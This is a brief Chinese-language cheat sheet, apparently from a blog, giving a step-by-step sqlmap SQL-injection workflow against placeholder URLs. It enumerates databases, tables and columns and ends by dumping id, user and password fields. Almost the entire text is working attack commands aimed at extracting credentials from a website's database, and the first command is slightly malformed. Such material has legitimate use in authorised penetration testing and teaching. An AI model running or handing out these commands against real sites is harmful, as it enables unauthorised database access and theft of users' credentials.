SQLMAP
python sqlmap.py sqlmap -u http://xxx.xxx.com/index.php?id=1
(1) 查找数据库
python sqlmap.py -u " http://xxx.xxx.com/index.php?id=1" --dbs
(2) 通过第一步的数据库查找表(假如数据库名为dataname)
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname --tables
(3) 通过2中的表得出列名(假如表为table_name)
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name --columns
(4) 获取字段的值(假如扫描出id,user,password字段)
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name -C
"id,user,password" --dump

浙公网安备 33010602011771号